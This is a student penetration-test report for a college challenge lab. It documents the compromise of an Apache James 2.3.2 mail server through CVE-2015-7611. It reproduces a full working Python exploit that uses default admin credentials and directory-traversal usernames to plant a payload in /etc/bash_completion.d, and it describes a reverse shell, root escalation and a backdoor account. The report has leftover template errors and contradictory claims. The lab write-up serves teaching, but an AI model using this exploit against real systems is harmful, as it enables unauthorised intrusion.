



Sierra College

Penetration Test Report for Challenge Lab

carrunategui@sierracollege.edu

prepared by: Claudia Yassu Arrunategui



Table of Contents

1.0 Scope	3
2.0 Report – High-Level Summary.....	Error! Bookmark not defined.
2.1 Recommendations	3
3.0 Report – Methodologies	4
3.1 Report – Information Gathering	4
3.2 Report – Service Enumeration	5
3.3 Report – Penetration	6
3.4 Report – Maintaining Access	10
3.5 Report – House Cleaning.....	10
4.0 Additional Items Not Mentioned in the Report.....	10



1.0 Report – Scope

The scope of this Penetration Test report is as follows:

- I will be working with Putty to connect to the IP provided (10.0.50.36), this will be used to access the lab environment and perform the penetration test against it.
- I will attempt to gain user and/or admin/root level privileges on each system on this network.
- I will provide a written report on one (1) system detailing the vulnerabilities exploited and how to mitigate against it.

2.0 Report – High-Level Summary

I was tasked with performing an internal penetration test towards Sierra College Labs. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks like those of a hacker and attempt to infiltrate Sierra College's internal lab systems. My overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to the client.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Sierra College's internal lab network. When performing the attacks, I was able to gain access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, John had administrative level access to multiple systems. All systems were successfully exploited and access granted. These systems as well as a brief description of how access was obtained are listed below.

2.1 Report - Recommendations

I recommend patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent



patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered later. A centralized patch management tool is recommended as it would schedule and approve updates from one single location, rather than rely upon each machine/service to update itself.

3.0 Report – Methodologies

I utilized a widely adopted approach to performing penetration testing that is effective in testing how well the Sierra College Labs are secure. The methodology utilized is a combination of the Certified Ethical Hacker Methodology and the CompTIA Pentest+ methodology. Below is a breakout of how I was able to identify and exploit the variety of systems and includes all individual vulnerabilities found.

3.1 Report – Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, I was tasked with exploiting the lab network. The specific IP address was:

Lab Network:

10.0.50.36



3.2 Report – Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed.

Server IP Address	Ports Open
10.0.50.36	TCP: 22, 25, 80, 110, 119.



3.3 Report – Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, John was able to successfully gain access to 1 system.

Vulnerability Exploited: [James smtpd 2.3.2](#)

System Vulnerable: 10.0.50.36

Vulnerability Explanation: Exploiting the Apache James POP3 service on port 110 (version 2.3.2) involves leveraging a related Remote Command Execution (RCE) vulnerability (CVE-2015-7611) present in the server's administration and SMTP services. The core vulnerability exists in a lack of input validation during user creation via the remote administration tool (port 4555) or the SMTP service (port 25). An attacker can create a user with a directory traversal payload in the username, such as `../../../../../../etc/bash_completion.d`. This causes the server to write files to the specified directory outside the normal user home directory. When a user (or the attacker) subsequently logs in via SSH, the malicious commands within that file are executed, leading to RCE.

Vulnerability Fix: upgrade to Apache James 3.x or replace the mail server entirely. Apache James 2.3.2 is very old and contains multiple unpatched vulnerabilities. If the environment does not need POP3, then disabled POP3 entirely. If POP3 must remain enabled, switch from port 110 to 995 which provides SSL and TLS encryption.

Severity: **Critical**

Proof of Concept Code Here:

```
#####  
  
#!/usr/bin/python  
  
#  
  
# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution  
# Date: 16\10\2014
```

```
# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec

# Vendor Homepage: http://james.apache.org/server/

# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip

# Version: Apache James Server 2.3.2

# Tested on: Ubuntu, Debian

# Info: This exploit works on default installation of Apache James Server 2.3.2

# Info: Example paths that will automatically execute payload on some action:
/etc/bash_completion.d , /etc/pm/config.d


import socket

import sys

import time


# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root

# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'


if len(sys.argv) != 2:

    sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])

    sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])

    sys.exit(1)


ip = sys.argv[1]


def recv(s):

    s.recv(1024)

    time.sleep(0.2)


try:
```

```
print "[+]Connecting to James Remote Administration Tool..."

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((ip,4555))

s.recv(1024)

s.send(user + "\n")

s.recv(1024)

s.send(pwd + "\n")

s.recv(1024)

print "[+]Creating user..."

s.send("adduser ../../../../../../../../../../etc/bash_completion.d exploit\n")

s.recv(1024)

s.send("quit\n")

s.close()


print "[+]Connecting to James SMTP server..."

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((ip,25))

s.send("ehlo team@team.pl\r\n")

recv(s)

print "[+]Sending payload..."

s.send("mail from: <'@team.pl>\r\n")

recv(s)

# also try s.send("rcpt to: <../../../../../../../../../../../../etc/bash_completion.d@hostname>\r\n")
if the recipient cannot be found

s.send("rcpt to: <../../../../../../../../../../../../etc/bash_completion.d>\r\n")

recv(s)

s.send("data\r\n")

recv(s)

s.send("From: team@team.pl\r\n")

s.send("\r\n")

s.send("\n")

s.send(payload + "\n")
```



```
s.send("\r\n.\r\n")

recv(s)

s.send("quit\r\n")

recv(s)

s.close()

print "[+]Done! Payload will be executed once somebody logs in."

except:

    print "Connection failed."
```

An email is then sent with a reverse shell. On the listener side, when user mindy logs in, you get a connection via reverse shell. After making the connection, I inspected the services that were running automatically in the system and identified a recurring script that could be modified to enable a shell connection with root privileges.

Screenshot Here of root access:

```
(it145student@ Kali)-[~]
$ ssh mindy@10.0.50.36 -t "bash --noprofile"
mindy@10.0.50.36's password:
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$
```

3.4 Report – Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit.

I added a root level account named 'claudia' to the system compromised.

3.5 Report – House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organizations computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

After root or admin privileges where gained, I removed all user accounts and passwords. Sierra College should not have to remove any user accounts or services from the system.

4.0 Additional Items Not Mentioned in the Report

This section is placed for any additional items that were not mentioned in the overall report.